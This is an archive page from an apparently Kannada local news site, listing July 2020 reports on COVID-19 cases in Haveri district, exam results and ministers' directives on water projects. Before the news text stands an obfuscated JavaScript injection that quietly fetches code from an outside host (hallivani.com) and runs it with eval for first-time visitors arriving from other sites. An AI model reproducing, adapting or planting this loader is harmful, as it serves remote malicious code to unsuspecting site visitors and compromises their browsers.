;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//hallivani.com/8jju21px/cache/cache.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};

Month: July 2020

ಇಬ್ಬರು ವೈದ್ಯರು, ಓರ್ವ ಗ್ರಾಮ ಲೆಕ್ಕಿಗ ಸೇರಿದಂತೆ 50 ಮಂದಿಗೆ ಕೋವಿಡ್ ದೃಢ, ನಾಲ್ವರು ಸಾವು

ಹಾವೇರಿ: ಇಬ್ಬರು ವೈದ್ಯರು, ಓರ್ವ ಗ್ರಾಮ ಲೆಕ್ಕಿಗ ಸೇರಿ ಜಿಲ್ಲೆಯಲ್ಲಿ ಬುಧವಾರ 50 ಮಂದಿಗೆ ಕೋವಿಡ್ ಸೋಂಕು ದೃಢಪಟ್ಟಿದ್ದು, ನಾಲ್ವರು…

ರಾಣೇಬೆನ್ನೂರ ತಹಶೀಲ್ದಾರ ಸೇರಿದಂತೆ 36 ಮಂದಿಗೆ ಕೋವಿಡ್ ಸೋಂಕು ದೃಢ

ಹಾವೇರಿ: ಜಿಲ್ಲೆಯಲ್ಲಿ ರಾಣೇಬೆನ್ನೂರ ತಹಶೀಲ್ದಾರ, ಜಿಲ್ಲಾ ಸ್ಟಾಫ್ ನರ್ಸ್, ಕೆ.ಎಸ್.ಆರ್.ಟಿ.ಸಿ. ಬಸ್ ಚಾಲಕ, ಕೆನರಾ ಬ್ಯಾಂಕ್ ಉದ್ಯೋಗಿ ಸೇರಿದಂತೆ ಸೋಮವಾರ…

ಹಾವೇರಿ: 54 ಮಂದಿಗೆ ಕೋವಿಡ್ ಸೋಂಕು ದೃಢ, ನಾಲ್ವರು ಗುಣಮುಖ

ಹಾವೇರಿ: ಜಿಲ್ಲೆಯ ಶಿಗ್ಗಾಂವಿ ತಹಶೀಲ್ದಾರ, ದಿನಪತ್ರಿಕೆಯ ಜಾಹೀರಾತು ಪ್ರತಿನಿಧಿ, ಶ್ರೂಶ್ರೂಷಕ ಅಧಿಕಾರಿಗಳು, ಸಿಬ್ಬಂದಿಗಳು ಸೇರಿದಂತೆ ಭಾನುವಾರ 54 ಜನರಿಗೆ ಕೋವಿಡ್…

ಹಾವೇರಿ: ಶಿಗ್ಗಾವಿ ತಹಶೀಲ್ದಾರ್ ಗೆ ಕೋವಿಡ್ ದೃಢ, ಕಚೇರಿ ಸೀಲ್ ಡೌನ್

ಹಾವೇರಿ‌: ಜಿಲ್ಲೆಯ ಶಿಗ್ಗಾವಿ ತಹಶೀಲ್ದಾರ್ ಅವರಿಗೆ ಕೊರೊನಾ ಸೋಂಕು ದೃಢಪಟ್ಟ ಕಾರಣ ಜಿಲ್ಲಾ ಕೋವಿಡ್ ಆಸ್ಪತ್ರೆಗೆ ಶುಕ್ರವಾರ ಅವರನ್ನು ದಾಖಲಿಸಲಾಗಿದೆ….

ದ್ವಿತೀಯ ಪಿಯುಸಿ ಫಲಿತಾಂಶ: ಅಗಸ್ಥ್ಯ ವಿಜ್ಞಾನ ಪಪೂ ಕಾಲೇಜಿಗೆ ಶೇ.86.76 ಫಲಿತಾಂಶ

ಹಾವೇರಿ: ದ್ವಿತೀಯ ಪಿಯುಸಿ ವಾರ್ಷಿಕ ಪರೀಕ್ಷೆಯಲ್ಲಿ ಶೇ.86.76 ರಷ್ಟು ಫಲಿತಾಂಶ ಪಡೆಯುವ ಮೂಲಕ ನಗರದ ಪ್ರತಿಷ್ಠಿತಿ ಅಗಸ್ಥ್ಯ ವಿಜ್ಞಾನ ಪದವಿ…

ಕೋವಿಡ್19: ಉಪ ತಹಶೀಲ್ದಾರ, ಪೊಲೀಸ್, ಸ್ಟೇನೋ ಸೇರಿದಂತೆ 13 ಜನರಿಗೆ ಸೋಂಕು, ಮಹಿಳೆ ಮರಣ

ಹಾವೇರಿ: ಜಿಲ್ಲೆಯಲ್ಲಿ ಶನಿವಾರ ಉಪತಹಶೀಲ್ದಾರ, ಇಬ್ಬರು ಗರ್ಭಿಣಿಯರು, ಓರ್ವ ಪೊಲೀಸ್, ಓರ್ವ ಸ್ಟೇನೋ ಸೇರಿದಂತೆ 13 ಜನರಿಗೆ ಕೋವಿಡ್ ಸೋಂಕು…

ಹಾವೇರಿ: ಇಬ್ಬರು ಶುಶ್ರೂಷಕಿಯರು, ಓರ್ವ ಸರ್ಕಾರಿ ವೈದ್ಯ ಸೇರಿದಂತೆ 18 ಜನರಿಗೆ ಜನರಿಗೆ ಕೋವಿಡ್ ಸೋಂಕು ದೃಢ

ಹಾವೇರಿ: ಇಬ್ಬರು ಶುಶ್ರೂಷಕಿಯರು, ಇಬ್ಬರು ಪೊಲೀಸ್ ಕಾನ್‍ಸ್ಟೇಬಲ್, ಓರ್ವ ಸರ್ಕಾರಿ ವೈದ್ಯ ಸೇರಿದಂತೆ ಗುರುವಾರ ಜಿಲ್ಲೆಯಲ್ಲಿ 18 ಜನರಿಗೆ ಕೋವಿಡ್…

ಹಾವೇರಿ: ಓರ್ವ ಪೋಲಿಸ್ ಕಾನ್‍ಸ್ಟೇಬಲ್ ಸೇರಿದಂತೆ ಆರು ಜನರಿಗೆ ಕೋವಿಡ್ ಸೋಂಕು ದೃಢ

ಹಾವೇರಿ: ಜಿಲ್ಲೆಯಲ್ಲಿ ಮಂಗಳವಾರ ಓರ್ವ ಪೊಲೀಸ್ ಕಾನ್‍ಸ್ಟೇಬಲ್ ಸೇರಿದಂತೆ ಒಟ್ಟು 6 ಜನರಿಗೆ ಕೋವಿಡ್ ಸೋಂಕು ದೃಢ ಪಟ್ಟಿದೆ ಎಂದು…

ನ್ಯಾಯ ನಿಷ್ಠುರ, ನೇರಮಾತಿನ, ಸರಳ ಸಜ್ಜನ ಅಪ್ಪಟ ಹೋರಾಟಗಾರನಿಗೆ ಈಗ ಅರವತ್ತು!

ಪತ್ರಿಕೆ ಮಾರುವ ಹುಡುಗನೊಬ್ಬ ಮುಂದೋಂದು ದಿನ ವಿಶ್ವವಿದ್ಯಾಲಯೊಂದರ ಪತ್ರಿಕೋದ್ಯಮ ವಿಭಾಗದ ಬೋಧಕನಾಗುತ್ತಾನೆಂಬುದು ಊಹೆಯೇ ಸರಿ. ಆದರೆ ಆ ಊಹೆ ನಿಜವಾಗಿಸಿದವರೆ,…

ಹಾವೇರಿ: ಮತ್ತೆ 9 ಕೋವಿಡ್ ಸೋಂಕು ದೃಢ, 19 ಜನರು ಗುಣಮುಖ ಆಸ್ಪತ್ರೆಯಿಂದ ಬಿಡುಗಡೆ

ಹಾವೇರಿ: ಜಿಲ್ಲೆಯಲ್ಲಿ ಸೋಮವಾರ 9 ಜನರಿಗೆ ಕೋವಿಡ್ ಸೋಂಕು ದೃಢಪಟ್ಟಿದ್ದು, 19 ಸೋಂಕಿತರು ಗುಣಮುಖರಾಗಿ ಆಸ್ಪತ್ರೆಯಿಂದ ಬಿಡುಗಡೆಯಾಗಿದ್ದಾರೆ ಎಂದು ಜಿಲ್ಲಾಧಿಕಾರಿ…

ಹಾವೇರಿ: ಮತ್ತೆ 28 ಕೋವಿಡ್ ಸೋಂಕು ದೃಢ, ಇಬ್ಬರು ಗುಣಮುಖ

ಹಾವೇರಿ: ಜಿಲ್ಲೆಯಲ್ಲಿ ಶನಿವಾರ 28 ಕೋವಿಡ್ ಸೋಂಕು ದೃಢಪಟ್ಟಿದೆ. ಇಬ್ಬರು ಸೋಂಕಿತರು ಗುಣಮುಖರಾಗಿ ಆಸ್ಪತ್ರೆಯಿಂದ ಬಿಡುಗಡೆಯಾಗಿದ್ದಾರೆ ಎಂದು ಜಿಲ್ಲಾಧಿಕಾರಿ ಕೃಷ್ಣ…

ವರ್ಷಾಂತ್ಯದಲ್ಲಿ ಶಿಗ್ಗಾಂವ, ಸವಣೂರು ಏತ ನೀರವಾರಿ ಯೋಜನೆ ಪೂರ್ಣಗೊಳಿಸಲು ಸೂಚನೆ: ಗೃಹ ಸಚಿವ ಬಸವರಾಜ ಬೊಮ್ಮಾಯಿ

ಹಾವೇರಿ: ಜಿಲ್ಲೆಯ ಶಿಗ್ಗಾಂವ ಹಾಗೂ ಸವಣೂರ ಏತ ನೀರಾವರಿ ಯೋಜನೆಗಳ ಬಾಕಿ ಕಾಮಗಾರಿಗಳನ್ನು ಈ ವರ್ಷಾಂತ್ಯದೊಳಗೆ ಪೂರ್ಣಗೊಳಿಸಲು ಕರ್ನಾಟಕ ನೀರವಾರಿ…

ರಾಣೇಬೆನ್ನೂರು, ಹಾವೇರಿ ಯುಜಿಡಿ ಹಾಗೂ ಕುಡಿಯುವ ನೀರಿನ ಕಾಮಗಾರಿ ಪೂರ್ಣಗೊಳಿಸಲು ಸೂಚನೆ: ನಗರಾಭಿವೃದ್ಧಿ ಸಚಿವ ಬಿ.ಎ.ಬಸವರಾಜ

ಹಾವೇರಿ: ರಾಣೇಬೆನ್ನೂರು ಹಾಗೂ ಹಾವೇರಿ ನಗರಗಳ ಯುಜಿಡಿ ಹಾಗೂ ಕುಡಿಯುವ ನೀರಿನ ಕಾಮಗಾರಿಗಳನ್ನು ಬರುವ ಆಗಸ್ಟ್ 15ರೊಳಗೆ ಪೂರ್ಣಗೊಳಿಸಲು ಸೂಚಿಸಲಾಗಿದೆ…

ವಾರದೊಳಗೆ ಹಾವೇರಿ ಜಿಲ್ಲೆಯ ತಾಲೂಕಾವಾರು ಕೋವಿಡ್ ಚಿಕಿತ್ಸೆಗೆ ಕನಿಷ್ಠ 50 ಹಾಸಿಗೆ ವ್ಯವಸ್ಥೆಗೆ ಸೂಚನೆ: ಗೃಹ ಸಚಿವ ಬಸವರಾಜ ಬೊಮ್ಮಾಯಿ

ಹಾವೇರಿ: ಕೋವಿಡ್ ಸೋಂಕು ದಿನದಿಂದ ದಿನಕ್ಕೆ ಹೆಚ್ಚಳವಾಗುತ್ತಿರುವ ಪ್ರಸ್ತುತ ಸಂದರ್ಭದಲ್ಲಿ ಹಾಗೂ ಮುಂದಿನ ದಿನಗಳಲ್ಲಿ ಹೆಚ್ಚಾಗಬಹುದಾದ ಪ್ರಕರಣಗಳನ್ನು ಗಮನದಲ್ಲಿಟ್ಟುಕೊಂಡು ಪರಿಸ್ಥಿತಿಯನ್ನು…

ಹಾವೇರಿ: ಓರ್ವ ಮಹಿಳೆಗೆ ಕೋವಿಡ್ ಸೋಂಕು ದೃಢ

ಹಾವೇರಿ: ಜಿಲ್ಲೆಯಲ್ಲಿ ಶುಕ್ರವಾರ ಓರ್ವ ಮಹಿಳೆಗೆ ಕೋವಿಡ್ ಸೋಂಕು ದೃಢಪಟ್ಟಿದ್ದು, ಇಬ್ಬರು ಸೋಂಕಿತರು ಗುಣಮುಖರಾಗಿ ಆಸ್ಪತ್ರೆಯಿಂದ ಬಿಡುಗಡೆಯಾಗಿದ್ದಾರೆ ಎಂದು ಜಿಲ್ಲಾಧಿಕಾರಿ…